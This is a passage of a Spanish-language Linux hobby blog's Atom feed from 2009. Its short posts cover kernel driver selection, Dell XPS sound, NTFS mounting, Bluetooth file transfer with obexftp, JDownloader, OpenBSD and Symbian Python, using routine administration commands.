kernel, mas que nada porque no sabemos que drivers se deben de habilitar para que todo nuestro hardware funcione correctamente.&lt;br /&gt;&lt;br /&gt;Para esta ardua tarea existe una &lt;a href="http://kmuto.jp/debian/hcl/"&gt;página&lt;/a&gt; que nos ayudará en esta tarea.&lt;br /&gt;Pegando la salida del comando lspci -n en la página comentada veremos los drivers que debemos habilitar.&lt;br /&gt;&lt;br /&gt;En el menú de configuración (make menuconfig), podemos realizar una búsqueda por el nombre del driver, de esta manera podremos localizar la sección en la que se encuentra el driver.&lt;br /&gt;La forma de buscarlo es / y aparecerá un cuadro de búsqueda.&lt;br /&gt;&lt;br /&gt;A los mas novatos en temas de compilación de kernels les será de mucha ayuda o eso espero ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3296976451873956128?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3296976451873956128/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3296976451873956128' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3296976451873956128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3296976451873956128'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/10/averiguar-drivers-compilar-en-el-kernel.html' title='Averiguar drivers a compilar en el Kernel'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/StCW7S0A4rI/AAAAAAAAAOo/rLtvVsytZRg/s72-c/cristal+tux.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6864611781433592352</id><published>2009-10-07T18:14:00.011+02:00</published><updated>2009-12-29T08:06:12.073+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Sonido Dell XPS Studio</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/SszBxDVIM9I/AAAAAAAAAOg/vPqZDVdKIBo/s1600-h/picture-23120.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 85px; height: 85px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/SszBxDVIM9I/AAAAAAAAAOg/vPqZDVdKIBo/s200/picture-23120.png" alt="" id="BLOGGER_PHOTO_ID_5389895902507316178" border="0" /&gt;&lt;/a&gt;Ya expliqué en una &lt;a href="http://laguaridadelmal.blogspot.com/2009/04/salida-hdmi-dell-xps-studio-1430.html"&gt;ocasión&lt;/a&gt; anterior como configurar el sonido para la salida HDMI de este equipo, pero no expliqué cuales eran los drivers a habilitar en el propio kernel.&lt;br /&gt;&lt;br /&gt;Entramos al configurador del kernel como siempre:&lt;br /&gt;cd /usr/src/linux&lt;br /&gt;make menuconfig&lt;br /&gt;&lt;br /&gt;En las siguientes capturas de pantalla se pueden apreciar las opciones a habilitar:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/SszAZX1nArI/AAAAAAAAANw/6-S-LP5abP0/s1600-h/Pantallazo.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 125px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/SszAZX1nArI/AAAAAAAAANw/6-S-LP5abP0/s200/Pantallazo.png" alt="" id="BLOGGER_PHOTO_ID_5389894396183773874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SszAflz8duI/AAAAAAAAAN4/5Lj9pwrQs28/s1600-h/Pantallazo-1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 125px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SszAflz8duI/AAAAAAAAAN4/5Lj9pwrQs28/s200/Pantallazo-1.png" alt="" id="BLOGGER_PHOTO_ID_5389894503014102754" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SszAnVPEe9I/AAAAAAAAAOA/6SAA_Va2vIM/s1600-h/Pantallazo-2.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 125px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SszAnVPEe9I/AAAAAAAAAOA/6SAA_Va2vIM/s200/Pantallazo-2.png" alt="" id="BLOGGER_PHOTO_ID_5389894636003425234" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SszA-vxkY7I/AAAAAAAAAOQ/9f2-ER4_3q0/s1600-h/Pantallazo-4.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 125px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SszA-vxkY7I/AAAAAAAAAOQ/9f2-ER4_3q0/s200/Pantallazo-4.png" alt="" id="BLOGGER_PHOTO_ID_5389895038264435634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SszBHnosHCI/AAAAAAAAAOY/N8A1Pq893bk/s1600-h/Pantallazo-5.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 125px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SszBHnosHCI/AAAAAAAAAOY/N8A1Pq893bk/s200/Pantallazo-5.png" alt="" id="BLOGGER_PHOTO_ID_5389895190698531874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Así de simple, ahora mismo estoy investigando como compilar un kernel super reducido para poder bootear el portatil con lo mínimo pero con soporte para la Atheros que lleva, de esta forma podría reinstalar mi Debian sin necesidad de conectar el portatil a la red cableada. Ya os contaré como acaba mi investigación ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6864611781433592352?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6864611781433592352/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6864611781433592352' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6864611781433592352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6864611781433592352'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/10/sonido-dell-xps-studio.html' title='Sonido Dell XPS Studio'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/SszBxDVIM9I/AAAAAAAAAOg/vPqZDVdKIBo/s72-c/picture-23120.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6557777031583244109</id><published>2009-09-26T17:38:00.005+02:00</published><updated>2009-12-29T08:04:55.019+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otros sistemas operativos'/><title type='text'>Instalación de OpenBSD</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sr43u7MzE7I/AAAAAAAAANg/7RCqKa89CJ8/s1600-h/Pufftron2.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 132px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sr43u7MzE7I/AAAAAAAAANg/7RCqKa89CJ8/s200/Pufftron2.jpg" alt="" id="BLOGGER_PHOTO_ID_5385803483686572978" border="0" /&gt;&lt;/a&gt;Hoy vamos a iniciarnos en el maravilloso mundo de las distros basadas en BSD, en esta ocasión nos centraremos en &lt;a href="http://www.openbsd.org/"&gt;OpenBSD&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;img src="http://www.blogger.com/img/blank.gif" alt="Enlace" class="gl_link" border="0" /&gt;&lt;/span&gt;&lt;/span&gt;Este es el manual de instalación en cuestión:&lt;br /&gt;&lt;a href="http://www.divshare.com/download/8656107-9b3"&gt;http://www.divshare.com/download/8656107-9b3&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;OpenBSD tiene la reputación de ser el sistema operativo mas seguro del mundo.&lt;br /&gt;&lt;br /&gt;Para servidores parece ser ideal, mi mayor pregunta es... tendrá tanto software y las ultimas novedades como Linux??&lt;br /&gt;&lt;br /&gt;Dejo el debate abierto pero agradecería que no se convirtiese en una guerra de sistemas operativos, tan solo se debería de exponer las virtudes de cada sistema operativo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6557777031583244109?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6557777031583244109/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6557777031583244109' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6557777031583244109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6557777031583244109'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/09/instalacion-de-openbsd.html' title='Instalación de OpenBSD'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/Sr43u7MzE7I/AAAAAAAAANg/7RCqKa89CJ8/s72-c/Pufftron2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2352559870603054799</id><published>2009-09-08T19:15:00.004+02:00</published><updated>2009-12-29T08:22:48.509+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Primer programa en Python</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SqaSRdDrqHI/AAAAAAAAANY/edVKkx97xKo/s1600-h/programing.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 101px; height: 92px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SqaSRdDrqHI/AAAAAAAAANY/edVKkx97xKo/s200/programing.jpg" alt="" id="BLOGGER_PHOTO_ID_5379147633496139890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ya tengo mi primer programa en Python para Symbian, se trata de un cronómetro.&lt;br /&gt;Es muy sencillo y el código seguramente se pueda optimizar pero es mi primer programita y estoy orgulloso de &lt;a href="http://www.divshare.com/download/8431967-40b"&gt;él&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2352559870603054799?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2352559870603054799/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2352559870603054799' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2352559870603054799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2352559870603054799'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/09/primer-programa-en-python.html' title='Primer programa en Python'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/SqaSRdDrqHI/AAAAAAAAANY/edVKkx97xKo/s72-c/programing.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3935954340555542250</id><published>2009-09-08T19:01:00.005+02:00</published><updated>2009-12-29T08:17:15.215+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>NTFS en Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SqaQhWWLNMI/AAAAAAAAANQ/d2naDQqBFww/s1600-h/LinuxNTFS1.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 90px; height: 90px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SqaQhWWLNMI/AAAAAAAAANQ/d2naDQqBFww/s200/LinuxNTFS1.png" alt="" id="BLOGGER_PHOTO_ID_5379145707549308098" border="0" /&gt;&lt;/a&gt;Tras la adquisición de un disco duro nuevo siempre tenemos varias preguntas a las que enfrentarnos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Cuantas y de que tamaño hacer las particiones??..&lt;/li&gt;&lt;li&gt;Que sistema de ficheros emplearé en mi disco??..&lt;/li&gt;&lt;/ul&gt;En mi caso se trata de un disco duro externo por USB así que es de vital importancia que cuando lo lleve a casa de mis amigos(algunos de ellos son Windowseros) funcione sin problemas.&lt;br /&gt;&lt;br /&gt;Tras todo este rollo y el título del artículo ya habreis deducido cual es la solución al dilema.&lt;br /&gt;&lt;br /&gt;Lo primero que debemos hacer es instalar el driver para NTFS y varias utilidades para la manipulación de particiones en este formato:&lt;br /&gt;apt-get install ntfs-3g ntfsprogs&lt;br /&gt;&lt;br /&gt;Ahora faltaría modificar el fichero /etc/fstab para que emplee ntfs-3g para montar las particiones NTFS.&lt;br /&gt;&lt;br /&gt;/dev/sdb    /mnt/usb ntfs-3g    noauto,user    0    0&lt;br /&gt;&lt;br /&gt;Como hemos instalado las utilidades ntfsprogs podremos crear las particiones directamente desde Linux, yo en mi caso empleé GParted, es de fácil uso pero si preferis la consola tambien podeis usar fdisk.&lt;br /&gt;&lt;br /&gt;Y ya lo tenemos, una partición NTFS montada con permisos de lectura y escritura.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3935954340555542250?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3935954340555542250/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3935954340555542250' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3935954340555542250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3935954340555542250'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/09/ntfs-en-linux.html' title='NTFS en Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/SqaQhWWLNMI/AAAAAAAAANQ/d2naDQqBFww/s72-c/LinuxNTFS1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-4767004633073136035</id><published>2009-08-22T18:04:00.005+02:00</published><updated>2009-12-29T08:23:02.926+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Enviar ficheros por Bluetooth desde consola</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SpAZeMT9NdI/AAAAAAAAANI/SJdnZcs9F3o/s1600-h/tux-python.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 168px; height: 200px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SpAZeMT9NdI/AAAAAAAAANI/SJdnZcs9F3o/s200/tux-python.png" alt="" id="BLOGGER_PHOTO_ID_5372822361944700370" border="0" /&gt;&lt;/a&gt;Desde hace poco que tengo mi nuevo teléfono, este admite Symbian y además Python, cada vez que quiero probar un nuevo script debo montar la tarjeta MicroSD con todo el engorro que esto conlleva, pero si empleamos Bluetooth para pasarle nuestros scripts no hará falta.&lt;br /&gt;&lt;br /&gt;Los pasos a seguir son&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Instalamos el software: apt-get install obexftp&lt;/li&gt;&lt;li&gt;Buscamos el teléfono: hcitool scan&lt;/li&gt;&lt;li&gt;Bajamos un fichero: obexftp -b "MAC" -c "E:\\Python\\" -g "Fichero"&lt;/li&gt;&lt;li&gt;Subimos un fichero: obexftp -b "MAC" -c "E:\\Python\\" -p "Fichero"&lt;/li&gt;&lt;li&gt;Eliminamos un fichero: obexftp -b "MAC" -c "E:\\Python\\" -k "Fichero"&lt;/li&gt;&lt;li&gt;Listamos el contenido de un directorio: obexftp -b "MAC" -c "E:\\Python\\" -l&lt;/li&gt;&lt;/ul&gt;Con esto ya podriamos probar nuestros scripts de una forma mucho mas cómoda.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-4767004633073136035?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/4767004633073136035/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=4767004633073136035' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4767004633073136035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4767004633073136035'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/08/enviar-ficheros-por-bluetooth-desde.html' title='Enviar ficheros por Bluetooth desde consola'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SpAZeMT9NdI/AAAAAAAAANI/SJdnZcs9F3o/s72-c/tux-python.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7423716764983680383</id><published>2009-08-05T18:19:00.004+02:00</published><updated>2010-06-13T18:24:53.304+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Descargas con JDownloader bajo Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/Snmy6D92hQI/AAAAAAAAANA/J6eCYzTEWdg/s1600-h/jdownloader_icon_by_andrei030.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 137px; height: 137px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/Snmy6D92hQI/AAAAAAAAANA/J6eCYzTEWdg/s200/jdownloader_icon_by_andrei030.jpg" alt="" id="BLOGGER_PHOTO_ID_5366517141555545346" border="0" /&gt;&lt;/a&gt;Hola amigos, en esta ocasión voy a explicar como instalar el famoso gestor de descargas JDownloader bajo Linux, mas concretamente bajo Debian Lenny 5.0.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Primero nos bajamos el software&lt;/li&gt;&lt;/ul&gt;          &lt;a href="http://jdownloader.org/download"&gt;http://jdownloader.org/download&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Instalamos la máquina virtual de Java:&lt;/li&gt;&lt;/ul&gt;          apt-get install openjdk-6-jre&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Disfrutamos de este maravilloso software&lt;/li&gt;&lt;/ul&gt;          chmod +x jd.sh&lt;br /&gt;./jd.sh&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7423716764983680383?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7423716764983680383/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7423716764983680383' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7423716764983680383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7423716764983680383'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/08/descargas-con-jdownloader-bajo-linux.html' title='Descargas con JDownloader bajo Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/Snmy6D92hQI/AAAAAAAAANA/J6eCYzTEWdg/s72-c/jdownloader_icon_by_andrei030.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1128206051505251362</id><published>2009-08-04T18:08:00.006+02:00</published><updated>2009-12-29T08:23:19.065+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>No dejo de sorprenderme</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/Snhetj-iq_I/AAAAAAAAAM4/-Qt6YLEv1iQ/s1600-h/tux_ascii.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 196px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/Snhetj-iq_I/AAAAAAAAAM4/-Qt6YLEv1iQ/s200/tux_ascii.png" alt="" id="BLOGGER_PHOTO_ID_5366143092856630258" border="0" /&gt;&lt;/a&gt;Creia haber visto ya de todo desde que descubrí el juego de aventuras Simauria en texto 100%, pero es que ahora me entero que hay gente que se dedica a hacer "streaming de video" a través de conexiones telnet, si como lo ois.&lt;br /&gt;&lt;br /&gt;StarWars Episode IV A New Hope en el terminal &lt;blockquote&gt;&lt;p&gt;telnet towel.blinkenlights.nl&lt;/p&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1128206051505251362?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1128206051505251362/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1128206051505251362' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1128206051505251362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1128206051505251362'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/08/no-dejo-de-sorprenderme.html' title='No dejo de sorprenderme'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/Snhetj-iq_I/AAAAAAAAAM4/-Qt6YLEv1iQ/s72-c/tux_ascii.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2313525214091586417</id><published>2009-07-24T01:07:00.004+02:00</published><updated>2009-12-29T08:23:27.282+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Aplicaciones nokia 5800 sin firmar</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SmjuYOS2LPI/AAAAAAAAAMw/WfbnUVWIO4g/s1600-h/nokia5800xpressmusic_5.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 139px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SmjuYOS2LPI/AAAAAAAAAMw/WfbnUVWIO4g/s200/nokia5800xpressmusic_5.jpg" alt="" id="BLOGGER_PHOTO_ID_5361797456305990898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;En esta ocasión os dejo aquí un manual sobre como conseguir instalar aplicaciones sin certificado válido en los nokia 5800, espero que los disfruteis tanto como yo ;)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.divshare.com/download/7979924-f4c"&gt;Este es el enlace al PDF&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2313525214091586417?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2313525214091586417/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2313525214091586417' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2313525214091586417'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2313525214091586417'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/07/aplicaciones-nokia-5800-sin-firmar.html' title='Aplicaciones nokia 5800 sin firmar'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 